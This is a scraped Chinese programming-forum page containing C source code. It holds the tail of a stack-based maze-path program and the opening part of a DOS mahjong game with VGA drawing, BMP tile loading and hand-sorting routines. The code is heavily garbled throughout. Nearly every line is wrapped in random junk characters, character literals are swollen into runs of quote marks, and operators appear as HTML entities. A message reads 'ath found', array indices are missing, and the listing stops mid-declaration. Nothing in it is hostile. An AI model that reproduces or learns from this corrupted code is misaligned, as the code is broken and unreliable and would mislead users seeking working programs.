6 h0 m3 X2 J& K) d2 ~/ Q) G* P& `void MarkPrint(PosType seat)
( V0 t4 k- z: z4 `/* Mark the position seat. */
$ v4 Z) ~- _, E* [5 H; y* b- ~{" \: L  a: v+ C( d) D  M4 S
maze[seat.x][seat.y].mark=-1;9 x: r6 @* i9 U/ W# U
/* Marking ''''''''''''''''''''''''''''''''-1'''''''''''''''''''''''''''''''' symbolize the current position cannot be put. */8 n* U! T  T. N' J$ ?! I
} /* MarkPrint */
4 s$ ^5 H# i: Q- H$ X$ F1 Rvoid FootPrint(PosType curpos)% X8 K! l' k3 P4 y
/* The foot of the curpos of the maze has been set ''''''''''''''''''''''''''''''''true''''''''''''''''''''''''''''''''. */9 {" J3 p. t3 b, X0 n( Y( @6 o
{
6 q, z; g+ T' k9 L3 ?  D! V9 d1 b& T& Cmaze[curpos.x][curpos.y].foot=1;9 I9 t2 V  d6 Z8 T0 `9 F+ l3 t
} /* FootPrint */
+ k; j6 I. P* y8 m" EPosType NextPos(PosType seat,int di)! {9 f. A& j$ V
{
2 Y" q; D5 T% Y: ^$ vswitch(di)
6 ?7 G8 P6 [6 I5 {, x7 E) w{
( S+ p6 Q. s. T* kcase 1: seat.y++; return seat; /* Eastward */
2 B5 t/ ]: S3 l* p( v/ t+ Dcase 2: seat.x++; return seat; /* Southward */' _  W7 u# n2 Y2 p
case 3: seat.y--; return seat; /* Westward */8 P( t8 T2 A% i' C7 a
case 4: seat.x--; return seat; /* Northward */
/ x0 m: n- u! Cdefault: seat.x=0; seat.y=0; return seat;5 t9 y- n; k- @/ a7 v. l
}0 G6 n. u& n9 {  i
} /* NextPos */
' q4 @* N( j& n2 Y! j# C( F8 n
4 l5 T& R( G0 n2 ~9 [/* The key to the program. */
4 F+ q5 C4 ?" C  g/ E/* Pre: The maze array &amp; the startplace &amp; the endplace.
& _6 g: x! g' oPost: Find the one traverse of the maze and perform the mazepath.' f- }* G1 _* r2 W/ T
Uses: The ADT stack class." ?1 p# x- j: c" `. v1 `: t- u
*/7 ?; |2 L# J+ o
Status MazePath(PosType start,PosType end)
0 K( H1 ~7 ~. l# K{
+ K6 Y6 g) W9 gPosType curpos;& d7 [5 I, Y# }/ W1 ^3 T
int curstep;" B5 Z1 p/ V& l0 q( ~0 J! E- I
SElemType e;% H1 q% u! N, V; i( V
Stack *s,stack;
0 v* N6 Z% j1 ]stack.base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
) t; }# l4 ^- Q" @if(!stack.base) Error("Overflow");
/ n) ?- F% {+ W1 {/ ?stack.top=stack.base;
; M( \! [3 w! b* b1 I! Istack.stacksize=STACK_INIT_SIZE;
8 u( B6 L. ?" n! q( e5 D2 Vs=&amp;stack;2 i6 t! B" m# c3 s  D
curpos=start;4 ]9 k% N: g' V/ r- N  r, K
curstep=1;
7 S% X# A; {" {% t& wdo
5 K- `0 V) r# ^( y* n{
. D6 |. d" F/ g! O: F* _8 A/ q) x1 ?- Qif(Pass(curpos))
2 c+ l1 Q' b5 T3 w: b{
4 d& c! ^1 j$ ^/ b0 ]3 {FootPrint(curpos);
! ~, d8 a! Z) n8 v" {e.ord=curstep; e.seat=curpos; e.di=1;
" ?& }# B0 a+ f% L: @4 f. Q1 @gotoxy((curpos.y+1)*2,curpos.x+2);
4 @$ W. O, E; m: Y& `putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
7 M0 l  R3 a1 `2 d5 A4 y* j, Sdelay(8000); /* pospone time. */3 P* Q& u6 M8 r
Push(s,e);
; [# ~- i) g$ s/ u) {7 W' Q8 Z8 Dif(curpos.x==end.x&amp;&amp;curpos.y==end.y) /* Proceed recursively. */
$ q# R% G; \" d$ o{6 c3 G  }+ B, l- }( S- d$ \+ ~
DestroyStack(s);
+ F5 j/ u  s# q6 n/ C+ h# N* N) rreturn TRUE;# W% x. }. N6 X/ S" c. |9 W8 M! t4 U
}1 l3 Q# ^7 S( {: B6 G
curpos=NextPos(curpos,1); /* Try next position. */+ u8 p+ A. f+ w% W: z; G) e
curstep++;8 A$ S6 d. S- c5 P; M
}
9 a1 M: Z/ g: i# Felse
- b  q/ B: b: E7 E. c2 _: ~5 u) @{0 V' B, k3 V2 B# s3 r! L( F( z
if(!StackEmpty(s))
6 ^: b+ f% [7 P4 ^7 g{: Q; d; n3 e" B/ g9 C6 ^. i
e=Pop(s,e); /* Removed e from s. */% \2 T. p9 u3 [" Y& U; A
while(e.di==4&amp;&amp;!StackEmpty(s)) /* Four directions have been checked" ~" e! ~0 a8 E  l8 G+ `$ J) L; P
and s is not empty. */, P& }+ M" G# a, J" r$ k( u1 q
{" N% }$ A+ U; m
MarkPrint(e.seat);
* R& f- r- M0 m4 ngotoxy((e.seat.y+1)*2,e.seat.x+2);6 H, r) y8 @. p: {1 @' q4 H
putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
( t- |7 B7 y. Fdelay(8000); /* Pospone time. */
! U8 N3 ~3 D( xgotoxy((e.seat.y+1)*2,e.seat.x+2);! D. e8 A+ Z- J# ^
putch('''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''');
* U, `/ F# X( L7 ]" }  j9 }e=Pop(s,e); /* Remove e from s. */. S+ _* U# H( S& B/ a$ G" ^
curstep--;
7 ]( M; r$ o( ~: `}3 @  s3 w2 z7 |/ F: p" e
if(e.di&lt;4) /* The current position hasnot been checked. */3 z8 L% z& _% e  j
{1 y& U3 M) H- ?$ Q
e.di++;
- |1 s% b; c0 c  F! v" uPush(s,e); /* Insert e into s. */2 s2 @$ ?0 _+ R9 }# P8 ^
curpos=NextPos(e.seat,e.di); /* Try next position. */8 P  m, _1 j5 Z
}' I, r+ V  Z5 n  v& J3 n
}
! j) K9 L' h9 U, Z" `8 O1 B) `. o" u) r}' `2 q/ e  o# z* _0 O
}
9 H' e6 {9 y# [0 b/ h2 `* G; G/ R% ?+ Dwhile(!StackEmpty(s));# @1 P6 u4 c; n
DestroyStack(s);
4 I7 N1 |8 h7 L, E* U% oreturn FALSE;0 M1 U& u/ l$ R1 q5 [
} /* MazePath */
/ V5 a) P) {8 X' t2 O/ fvoid main()
9 |" E3 h- ~; @# S  x{& Y7 i4 s& Z0 J: M
PosType start,end;
1 F/ K/ N0 y7 B3 nCreatMaze();
, ^! w% s. S' D. w8 k( j; xstart.x=StartPlace.y;. n& B1 h, ?+ Q. Y% i9 b6 e$ y
start.y=StartPlace.x;
$ |+ ~" L" q- |( p1 [3 O3 [* Yend.x=EndPlace.y;! d' Y7 ~( E  B6 ]
end.y=EndPlace.x;: s  _; W' q/ v; o! }, U
if(MazePath(start,end))2 X% P: M1 V& F. N7 M/ P  V5 G
{# o1 o5 N5 Q" l2 G
gotoxy(2,22);7 z. _1 o$ _1 l* k7 q
printf("ath found\n");
4 E: n1 ?' ]! c6 Q7 ~3 L}
3 f, C0 P; j) [8 Melse
8 f8 s( z5 A# Z{
$ C/ t& N. p- N4 H7 vgotoxy(2,22);; ^6 C1 @- q- G$ i, l. S# z
printf("ath not found\n");3 Q0 S- o8 O3 ?4 e4 m! A1 r5 _0 r
}
+ Q% N! U+ b/ J) M+ Kgetch();
9 T& v# o- O6 u: P+ h. lclrscr();
5 C  N6 I# G: J} </P></DIV>
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<><b><FONT color=#000000>.:.:上海黑暗之龙--麻将原代码:.:.</FONT></b></P><DIV 626px; HEIGHT: 132px" align=left>< align=left>部分图片未上传
, p8 u2 [5 F. T9 M7 c. S/*天宇软件8 B1 o8 l! g$ A; S
作者:上海黑暗之龙! f3 I( L+ t/ H3 j
2002/10/309 w: z0 Y9 ]8 t6 p) O% S
麻将原代码*/
8 H; u/ `  Q/ r* c! N: \#include "dos.h"
2 @! s* Q7 ~0 f" u#include "stdio.h"
& i( g- i+ t3 Q; b% i: o#include "graphics.h"
2 u- t3 B  \' z0 ~$ q( I#include "bios.h"
$ H' u+ s- N' |  y, L' z#include "conio.h"9 p" p- u) o" W
#include "stdlib.h", t+ c5 P( o7 @) U
unsigned char far *video_buffer=(char far *)0xA0000000L;
! p+ H$ h2 w- a5 c+ a; [. j( ^#define VGA256 0x13 /*图形模式13h*/
8 T) D$ L. ]: q#define TEXT_MODE 0x03 /*普通文本模式*/
  j$ F7 ~0 P1 m7 T#define SETVGA Set_Video_Mode(VGA256)
" E$ f* h' \/ T" @#define OUTVGA Set_Video_Mode(TEXT_MODE)6 H2 h7 `6 H9 \8 v: o  ~* _
#define BYTE unsigned char
% K5 I9 G  N, k) Z#define WORD unsigned int$ X% q9 k! ^- H5 P" ~+ h* H: `
#define DWORD unsigned int! z& p; z) q9 g. ?
#define ESC 283
) F" m) [! @  [7 t) B1 k#define LEFT 19200) ?  _* u( B7 @3 R% n+ S7 i
#define RIGHT 19712
0 L& F8 \5 z0 ^#define H 90649 u7 L% e+ ?' p
#define ENTER 7181" I; }2 t2 P6 J% c7 h2 [
unsigned long int z=54400,zz=0,zy=0,zyy=0,z1=0,zl=10140;
. f& e( a- R9 ?& x1 B( V( Rint key=0,keyy=0,sing=0,sing1=0,second=0,threes=0;
! m7 h  }1 b; sstruct chi$ n! B& H$ K" N! u
{
4 [, i4 `/ b' `# A, zint lg;* ?8 Q- C7 H- f# D3 A1 v
int lgg;5 q) y- ~" P+ {( L9 [- b( C  E
}ch[13];. ~* a' Z. r; p/ @( {
struct mj
$ U0 |6 r/ X' a  o$ F1 j{ char *name; /*名字*/
7 z0 r5 v; G' D" x6 M. t; kint data1; /*是否已出,无用了*/+ X. R* \; ~1 z, y: u$ h- q
int data2; /*是否在手中,1为自己,2为对方*/
2 F9 n' V6 `  w7 p. |8 b9 `int number; /*同一个花色的第几张,共4张*/; z! O5 F: x" W2 A
}m[136]={"1.bmp",0,0,1,"1.bmp",0,0,2,"1.bmp",0,0,3,"1.bmp",0,0,4,"2.bmp",0,0,1,
3 }& o5 y  O( K"2.bmp",0,0,2,"2.bmp",0,0,3,"2.bmp",0,0,4,"3.bmp",0,0,1,"3.bmp",0,0,2,; O0 d- X) v! h+ v6 p2 @! m
"3.bmp",0,0,3,"3.bmp",0,0,4,"4.bmp",0,0,1,"4.bmp",0,0,2,"4.bmp",0,0,3,
1 M+ h4 n+ u+ f8 f3 a"4.bmp",0,0,4,"5.bmp",0,0,1,"5.bmp",0,0,2,"5.bmp",0,0,3,"5.bmp",0,0,4,/ h6 ?3 _, `0 p: V, _
"6.bmp",0,0,1,"6.bmp",0,0,2,"6.bmp",0,0,3,"6.bmp",0,0,4,"7.bmp",0,0,1,
' G( K6 Q. T4 j7 _"7.bmp",0,0,2,"7.bmp",0,0,3,"7.bmp",0,0,4,"8.bmp",0,0,1,"8.bmp",0,0,2," \) w2 K8 |0 C6 ]! l
"8.bmp",0,0,3,"8.bmp",0,0,4,"9.bmp",0,0,1,"9.bmp",0,0,2,"9.bmp",0,0,3,: V$ K, n3 ^4 G/ q" m
"9.bmp",0,0,4,"10.bmp",0,0,1,"10.bmp",0,0,2,"10.bmp",0,0,3,"10.bmp",0,0,4,' T: c+ S( j1 N
"11.bmp",0,0,1,"11.bmp",0,0,2,"11.bmp",0,0,3,"11.bmp",0,0,4,"12.bmp",0,0,1,7 T$ W9 ~. q" {% P  G
"12.bmp",0,0,2,"12.bmp",0,0,3,"12.bmp",0,0,4,"13.bmp",0,0,1,"13.bmp",0,0,2,' L+ V. W( ]4 O, }$ v8 t$ ~+ ~
"13.bmp",0,0,3,"13.bmp",0,0,4,"14.bmp",0,0,1,"14.bmp",0,0,2,"14.bmp",0,0,3,
, b2 j1 P9 H$ I! l( F* w7 p"14.bmp",0,0,4,"15.bmp",0,0,1,"15.bmp",0,0,2,"15.bmp",0,0,3,"15.bmp",0,0,4,8 a( ]* ~2 E. o! Q( [
"16.bmp",0,0,1,"16.bmp",0,0,2,"16.bmp",0,0,3,"16.bmp",0,0,4,"17.bmp",0,0,1,8 r- T8 Y+ D" w- E& [* `
"17.bmp",0,0,2,"17.bmp",0,0,3,"17.bmp",0,0,4,"18.bmp",0,0,1,"18.bmp",0,0,2,
/ v' D- H# W( ?8 {! }"18.bmp",0,0,3,"18.bmp",0,0,4,"19.bmp",0,0,1,"19.bmp",0,0,2,"19.bmp",0,0,3,
4 O2 d0 g- y' D, \9 b) P"19.bmp",0,0,4,"20.bmp",0,0,1,"20.bmp",0,0,2,"20.bmp",0,0,3,"20.bmp",0,0,4,
$ K" O3 v2 H2 E3 X# l"21.bmp",0,0,1,"21.bmp",0,0,2,"21.bmp",0,0,3,"21.bmp",0,0,4,"22.bmp",0,0,1,
& O: \8 F9 ?, x) O& S"22.bmp",0,0,2,"22.bmp",0,0,3,"22.bmp",0,0,4,"23.bmp",0,0,1,"23.bmp",0,0,2,
( I7 Q9 U! W3 E5 f8 `"23.bmp",0,0,3,"23.bmp",0,0,4,"24.bmp",0,0,1,"24.bmp",0,0,2,"24.bmp",0,0,3,
+ f5 a( b& C0 F& L- ]2 @"24.bmp",0,0,4,"25.bmp",0,0,1,"25.bmp",0,0,2,"25.bmp",0,0,3,"25.bmp",0,0,4,
9 g' n" e0 V" `# [6 b& A"26.bmp",0,0,1,"26.bmp",0,0,2,"26.bmp",0,0,3,"26.bmp",0,0,4,"27.bmp",0,0,1,
8 \, V0 r4 N* I"27.bmp",0,0,2,"27.bmp",0,0,3,"27.bmp",0,0,4,"28.bmp",0,0,1,"28.bmp",0,0,2,( \- Z9 Y# }# {. D7 r: M8 x# a# G
"28.bmp",0,0,3,"28.bmp",0,0,4,"29.bmp",0,0,1,"29.bmp",0,0,2,"29.bmp",0,0,3,& p- F) y/ F. ~: H
"29.bmp",0,0,4,"30.bmp",0,0,1,"30.bmp",0,0,2,"30.bmp",0,0,3,"30.bmp",0,0,4,
9 c6 O1 q. K1 y6 H6 a' a2 y# e"31.bmp",0,0,1,"31.bmp",0,0,2,"31.bmp",0,0,3,"31.bmp",0,0,4,"32.bmp",0,0,1,
4 r. `9 t: `* s! P# ~7 k! J/ V"32.bmp",0,0,2,"32.bmp",0,0,3,"32.bmp",0,0,4,"33.bmp",0,0,1,"33.bmp",0,0,2,% ?6 [) t/ v: j" o9 j
"33.bmp",0,0,3,"33.bmp",0,0,4,"34.bmp",0,0,1,"34.bmp",0,0,2,"34.bmp",0,0,3,
) b  k/ X9 E$ u" V. {# ^"34.bmp"};
1 Q! P& f- i& a( [  }struct every
( M' P7 Z7 p9 Z{ int *k; /*名字*/
6 v! ~* a+ a3 s) e1 g5 Qint oneorfour; /*同一张牌的第几张*/$ J, m& b# K5 ]8 r. _
int number; /*第几张牌136*/' q& @3 I8 \/ J# t1 @
int p;  t9 g. U2 _4 t, E
int g;
( m) b. }; y0 e. _. L" `int c;
. C3 ]2 H1 K' {0 ]/ i% Xint d[2];9 h; Y1 ^* {9 ?0 T1 J5 j
};
/ L" V$ @/ |8 B. C" Istruct me9 i) ~: ?0 _; n' T3 Z5 T
{ int m; /*定义有几张牌,开始有13张随着游戏的进行,会越来越小*/
% f( }1 r- i" {4 o+ p! R5 w* S7 Wint p; /*乓对方*/
" P$ k6 p! G$ t% |int c; /*吃对方*/4 B, r3 ?' {3 {0 r- I7 l3 M
int g; /*杠*/+ x4 K  \2 y" X/ l" `* F& q4 L

7 d. ~' w* ~; ]6 ustruct every pp[14]; /*存放手上的牌*/' ^0 h" s% S. x* K
}me;
' D/ u, B2 ^/ z" k# \" Qstruct computer' \# i' d; Q! t2 ^* y. i
{ int m;
+ ?$ V2 b! i& K0 s9 O+ qint p;
! T! ?$ \( q# \$ D. x9 T( Fint c;
' x  J- a3 o8 Sint g;9 O  e$ [% l( d8 O' Y* S
struct every pp[14];
5 Q" h4 Y1 }5 m7 o3 A0 J5 C}computer,comp;" u) O, t* P( D: F

4 h, w  o/ z  U  M5 z+ u/* 设置调色板 */
! P7 l2 ?9 @& H9 |! Evoid Set_Palette(int Color,BYTE r,BYTE g,BYTE b)
) k2 P" l: y4 q0 |% b{9 l& {* Z' s& d) \, {* n) C
outportb(0x3c8,Color); /*0x3c8写端口 写色号*/
! H7 {; i+ e/ m3 c+ k' l8 koutportb(0x3c9,r); /*0x3c9数据端口 R、G、B的比例*/1 @0 l) F  H  Y* F( [" q
outportb(0x3c9,g);
+ v/ e/ n7 y! D6 soutportb(0x3c9,b);# R. R% p( M, E! P
}2 n+ X  R; d' P0 n2 o6 n, H
/*0x3c7读端口 0x3c6计算机调色板寄存器调用端口*/
, R" y+ q1 K4 T, [: r0 V/* 设置显示模式的函数 */( G4 g2 ?$ D: {) a
void Set_Video_Mode(int mode)
2 i3 [3 F5 Y: F! B5 e$ w: j4 E{! W* |& i% ~$ N* a; Z
union REGS inregs,outregs; /*定义输入和返回寄存器*/9 a+ L% Y$ l! e: p& C
inregs.h.ah=0; /*ah存放功能号0h表示进入视频模式*/9 ]/ ]- u/ x- Z, t8 W6 ?
inregs.h.al=(unsigned char)mode; /*al存放要设定的视频模式*/
6 l. E6 R: ]# A6 x$ W- fint86(0x10,&amp;inregs,&amp;outregs); /*通过10h中断设定显示模式int86()包含在dos.h*/
7 T5 ^' s* g: h}
; L8 j+ t+ \+ ]7 [0 ?6 T" nvoid v_line(int y0,int y1,int x,unsigned int color)
$ Q2 Z6 v# Q  ~8 O{ unsigned int address,n,temp;: c) p" R) u, u' ^. C* |
if(y0&gt;y1)
1 U9 y& y6 H- `# a6 z6 {{' G6 c+ e: V6 X' ^& ]& p
temp=y1;- D. N3 d$ |+ Y* l7 r, S+ {0 Q; k$ d1 s% a
y1=y0;
5 r4 U* L& L/ |9 z0 k  |! y! uy0=temp;
2 [  k, K* U; `, ]3 p}
6 O# H- `+ c; ^0 P8 Jaddress=320*y0+x;- L6 s- H( W2 r6 b! Z
for(n=0;n&lt;=y1-y0;n++)
2 k9 J' x* U5 U, \' I{7 o1 c- H9 J# E  G
video_buffer[address]=color;
% Q8 D+ k' B5 S7 o6 Vaddress+=320;. _- q" a6 v# {0 J) B
}
, A9 n% y1 ~) \: o; ^}+ N! M3 ~8 x* K4 n- i+ L
void h_line(int x0,int x1,int y,unsigned int color)/ P+ n: j: P: h
{ unsigned int address,n,temp;
% M! W' Q* ^0 Y3 T" C# uif(x0&gt;x1)
& Q0 y' V1 [) b8 I* W* t& E{/ P3 Z. ?+ H. m
temp=x1;0 _2 g3 W) p7 |- \7 t! l
x1=x0;: a7 W( J. A0 N
x0=temp;
- @$ p8 x) \5 Z( Q1 t( O0 o}
. h8 l* z& n8 n, L  ]9 i1 eaddress=320*y+x0;
+ j1 [  I2 n" y" ~/ wfor(n=0;n&lt;=x1-x0;n++). _% F0 N- @; ^
{; C/ E1 b4 R/ \! h2 P
video_buffer[address]=color;0 _+ K% ?' h4 V, G
address+=1;$ k0 g4 A6 H. W2 A1 I* t* F" m0 P: Z2 J
}
7 e( M2 U2 u2 v$ k" q  \}6 {5 R% D- u  f: n1 w, Y6 d
void p_pixel(int x,int y,unsigned int color)
4 g' V+ U: H- E& e{ video_buffer[y*320+x]=color;7 h* w% h/ U5 h5 s. H% F, q
}) m2 g8 f" H7 {1 O
void s_square(int x,int y,int side,int color)
" K. ]7 x8 e2 X3 W2 J3 B2 c{" L! V0 p" `" g4 p* l' \" q
h_line(x,x+side,y,color);& T/ r# X+ E( s
h_line(x,x+side,y+side,color);
# }! }! s& F" L2 e2 s! wv_line(y,y+side,x,color);
, `# p+ h# p5 V6 ]9 g9 Jv_line(y,y+side,x+side,color);* h; p5 |1 U* m( r9 ~7 v+ T
}
' q; g, U& ?' o# r6 zvoid r_rectangle(int x1,int y1,int x2,int y2,int color)
. ?* ~% `$ Z- j: ?{4 a4 h; J( P" ]0 Q3 @# p" H
h_line(x1,x2,y1,color);# a) x; y$ A$ L% R; ~- {
h_line(x1,x2,y2,color);# S' e6 R! D* s" _) {1 A9 W
v_line(y1,y2,x1,color);  L: p4 H$ }8 \8 H# n% F
v_line(y1,y2,x2,color);
" @& D" Y! y" U}  E* M# n5 D) i4 P; e+ F& n* p) @( U
void fillRectangle(int x1,int y1,int x2,int y2,int color)
1 J- j% t- p7 H{, w, u! Y8 a) S( e
int i;
' |, k, G1 E( G5 {, X" ~4 Kfor(i=y1;i&lt;=y2;i++)
, K3 b" V" [; |% z{
, |+ Y8 O5 B' M- d. v. Rh_line(x1,x2,i,color);; C- ~" S, C1 b( n$ B
}
  v+ S: R/ B6 C& C, l}1 _  J6 k( w) n% P7 E  I
void showbmp(int l)& _5 @/ i- r& X" E. Z
{ FILE *bmp;
3 }5 q$ _2 ]0 p7 S; W0 O, b+ sint i,x,y;' x5 K: e2 M' H, ]9 o$ ^1 t
BYTE palette[256][3];
& G$ u7 i# ]8 W; D$ P2 _bmp=fopen(me.pp[l].k,"rb");
+ ]7 A! s* c  i# A8 k$ z- lfseek(bmp,54,SEEK_SET);
' x$ I' q  A8 @$ t6 Q( M5 U  O* Bfor(i=0;i&lt;256;i++)# q' q- d$ j' ^
{$ [9 ]" }/ y: f
palette[2]=fgetc(bmp)&gt;&gt;2;/ w" s( z' k& p, {) o
palette[1]=fgetc(bmp)&gt;&gt;2;
, y0 J/ r' V. O& |palette[0]=fgetc(bmp)&gt;&gt;2;
5 S, K' R2 }% ^7 ^7 w9 afgetc(bmp);, C8 M- `. a8 D9 u9 c/ u) t
Set_Palette(i,palette[0],palette[1],palette[2]);+ z4 |  v) h/ Y/ Y0 V+ b. `
}9 W) ^6 w1 L0 k  u
for (y=0;y&lt;30;y++)
3 Y$ j7 D# i7 H2 zfor(x=0;x&lt;20;x++)
- `+ x( R8 J' j8 g% Ppokeb(0xa000,y*320+x+z+zz+z1,fgetc(bmp));6 d! H7 B, g" n5 i
fclose(bmp);4 U% L( J7 c1 g
}% {# r: ]8 V* n
void showbmpd(int l), ~8 a. L& h" c; a. ?* \
{ FILE *bmp;& B+ B; Y8 [" Q. t
int i,x,y;: H8 z! I3 @; e
BYTE palette[256][3];
- Y6 w: n' Y$ \) [6 a  o" w! D; U2 [bmp=fopen(me.pp[l].k,"rb");
8 c7 a% j0 k$ c% Vfseek(bmp,54,SEEK_SET);, e+ z+ Z3 o. G( `
for(i=0;i&lt;256;i++)7 f% j2 q' b8 H% p* O8 K1 ?
{
4 T; ]. W+ [! p+ t2 Z% wpalette[2]=fgetc(bmp)&gt;&gt;2;
5 i& {0 q7 m4 }; i# P! q" l' y. spalette[1]=fgetc(bmp)&gt;&gt;2;
* R9 _8 D: E' J" d6 O3 H" {# {palette[0]=fgetc(bmp)&gt;&gt;2;) r6 T$ _& P6 h5 k/ `; z! W: P% U
fgetc(bmp);. A# n; r8 \- {8 V1 ]
Set_Palette(i,palette[0],palette[1],palette[2]);
9 @1 \! s7 ^/ l& Y/ U}) [8 z, Z" ^7 `. d3 P
for (y=0;y&lt;30;y++)- r9 n2 Q% b& j& G
for(x=0;x&lt;20;x++)( _* H0 e5 |& ~" `9 @0 h% p
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));, P0 p- ?& u8 B$ m, V7 H4 D. b
fclose(bmp);1 X0 E# F! e8 G) e6 I
}
& i3 B  J( {& n) z* O# Yvoid showybmp(int ll)
1 {6 p+ q% ?+ [9 d" [{ FILE *bmp;& D! _, P. {7 V3 y7 P
int i,x,y;1 L: J3 M( A) D" k7 A
BYTE palette[256][3];
" j2 G2 Q6 z" L/ j! i; e0 R. pbmp=fopen(computer.pp[ll].k,"rb");" s9 A" }6 S0 w* ~& m' L
fseek(bmp,54,SEEK_SET);5 ~% A; h( V) U$ X
for(i=0;i&lt;256;i++)
3 r: C) }; }& Z# U( |) \{2 j0 L, w/ t( W7 i# `6 g
palette[2]=fgetc(bmp)&gt;&gt;2;. U9 H  e) c0 b, s! k% b3 U3 i
palette[1]=fgetc(bmp)&gt;&gt;2;4 o5 m7 A! z1 q7 c) h( U9 m
palette[0]=fgetc(bmp)&gt;&gt;2;
- n) s, J9 ]8 w" A( g0 bfgetc(bmp);4 ]. r6 f" D* q' z. l1 q' V
Set_Palette(i,palette[0],palette[1],palette[2]);
! o) u# ]) O1 m- n4 K$ x2 ^, D}
, h* ^4 A% Z& `! I# d% n2 mfor (y=0;y&lt;30;y++)
# m+ G; z* O7 k4 p; I- _8 nfor(x=0;x&lt;20;x++)
- C% {8 h) F6 W! E$ E0 `pokeb(0xa000,y*320+x+zy,fgetc(bmp));+ y% v1 t+ _7 Q4 H5 H
fclose(bmp);- m! y! i/ n4 m
}' U) W  s* e3 W& O
void showcbmp(int ll)
, w) m# \1 l, m# K0 ?{ FILE *bmp;
& i- F2 }" O' l: g$ `' ?! U/ e) `int i,x,y;$ {$ H! ]: b) `0 t$ ?
BYTE palette[256][3];
+ D7 F- }" ]; ^( ibmp=fopen(computer.pp[ll].k,"rb");2 ?5 C4 @+ N5 u( I: `/ O
fseek(bmp,54,SEEK_SET);: C" S0 c3 V  \: F7 Z: c3 {+ Q
for(i=0;i&lt;256;i++)/ L3 O1 o9 u% u. G3 C" K
{
4 Q1 X4 [3 X0 Bpalette[2]=fgetc(bmp)&gt;&gt;2;# F, x& o* s* A( T3 T- P$ ]
palette[1]=fgetc(bmp)&gt;&gt;2;
) P9 V- s! _/ m6 w1 Kpalette[0]=fgetc(bmp)&gt;&gt;2;2 W: |( v8 L9 L) H2 ]3 U
fgetc(bmp);
7 ^, F5 k5 A+ ^! ]1 F; uSet_Palette(i,palette[0],palette[1],palette[2]);
9 P9 J& x9 b, ~, h8 L" ~! Y3 _}- }" f2 ^$ W8 I+ ?! R
for (y=0;y&lt;30;y++)
) ?1 }6 @, ]' O' }( Jfor(x=0;x&lt;20;x++)( D# Z/ Y2 q, A& o. m
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));* P1 h' z; E3 E8 |, R# P  f
fclose(bmp);
" I: D3 a4 c- M- j- D}
* N  q; E8 M1 `( E, d' w; _5 Zvoid bmpp(int number)
2 {' q0 [1 f3 {/ p* i) b{ FILE *bmp;# b) N4 `0 ~. c; p% t9 [  W* S
int i,x,y;
* ?% c3 Y, `' z+ v: _BYTE palette[256][3];+ k* V0 j) |- U6 p$ r/ g
bmp=fopen(m[number].name,"rb");  g, R$ ?: g; `3 n8 P
fseek(bmp,54,SEEK_SET);. d/ P4 s) f' A5 i) p' c. f
for(i=0;i&lt;256;i++)$ k! B, i! D+ s' K
{
- @+ q) n5 S" M$ `palette[2]=fgetc(bmp)&gt;&gt;2;
0 A7 Y; B1 A% k5 Q+ Npalette[1]=fgetc(bmp)&gt;&gt;2;
6 U6 T* {/ [1 n; P1 G7 f, ppalette[0]=fgetc(bmp)&gt;&gt;2;" N, B  S7 {, P5 Y
fgetc(bmp);
: i( V1 z/ [# wSet_Palette(i,palette[0],palette[1],palette[2]);( M; d# i. a/ g- w
}
: _& N& h# x, C' Z' z5 O& Jfor (y=0;y&lt;30;y++)
4 c- B" ]. W1 l6 C8 u6 pfor(x=0;x&lt;20;x++)
5 R4 z  n6 p1 M$ T3 Z! \* Tpokeb(0xa000,y*320+x+zl,fgetc(bmp));) S8 R4 j0 p3 O
fclose(bmp);
6 I& N1 l& D; C  F4 Y; e* L}
7 i: R0 T" h; X2 d6 [void comlipai() /*整理电脑的牌*/1 M+ K" q3 }4 v9 T. |
{ int n,j,u;4 c$ n+ B: S! P
int *lingshi;
$ P$ J! m( e  e: x1 ^for(n=0;n&lt;computer.m;n++)
8 i9 [1 B  w8 f  o7 _* h4 C5 mfor(j=n;j&lt;computer.m;j++)
) `: q' b: n: _5 E/ p; q5 q3 ^{
. n* n1 G$ k. {* T8 L9 iif(computer.pp[n].number&gt;computer.pp[j+1].number)
( _1 Z. G% _& B  \{
* n' Q$ a& p( i5 Z! a" Elingshi=computer.pp[n].k;
8 l+ G3 O/ n& c$ Jcomputer.pp[n].k=computer.pp[j+1].k;# I. v2 i; s; u7 p
computer.pp[j+1].k=lingshi;
* H6 A2 F% d6 w; Nu=computer.pp[n].oneorfour;  u" p+ H: `9 g/ ]; K# ?1 {
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;
, R  o/ Y1 P, ~6 `1 `* ]# x' Pcomputer.pp[j+1].oneorfour=u;
2 G3 x) s+ O& B' a  W; zu=computer.pp[n].number;
! X% g# \) h4 E  Y! F  w" S  i6 J% g7 fcomputer.pp[n].number=computer.pp[j+1].number;
1 |( ^( e$ w7 U/ H; b7 v9 Wcomputer.pp[j+1].number=u;: L- C4 b  ^7 B- N, y7 u/ Q6 A, m
}# @) n* Q& o  U4 j; k9 f
else- H- j3 V1 M4 s/ i1 j
if(computer.pp[n].number==computer.pp[j+1].number)9 x3 h9 }% |: s9 c( @
if(computer.pp[n].oneorfour&gt;computer.pp[j+1].oneorfour)* \6 E* Y% J8 F% z
{
8 v1 Y5 ~- s. d0 {lingshi=computer.pp[n].k;
/ O6 s* m. Y& r' r" k0 w1 xcomputer.pp[n].k=computer.pp[j+1].k;( u5 |& A+ x9 y2 v) }3 c3 g
computer.pp[j+1].k=lingshi;
$ b0 }* z, J8 R- e+ Cu=computer.pp[n].oneorfour;( Q+ Q4 X! R, L$ r0 g$ j
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;5 i) d! H' K7 d7 B
computer.pp[j+1].oneorfour=u;/ B) b2 e( u9 c, C; I: x- o6 Q1 O! m
u=computer.pp[n].number;9 v& |6 {, ~8 r
computer.pp[n].number=computer.pp[j+1].number;
2 P' }* x* O1 w( Hcomputer.pp[j+1].number=u;
' N+ L$ `. L, s' ]& k' y}6 y. G0 i* l- F2 j6 n
}$ T# ~* Q' a$ |/ X  ~8 W
}
1 q! a7 V7 n3 b! n( _void melipai()
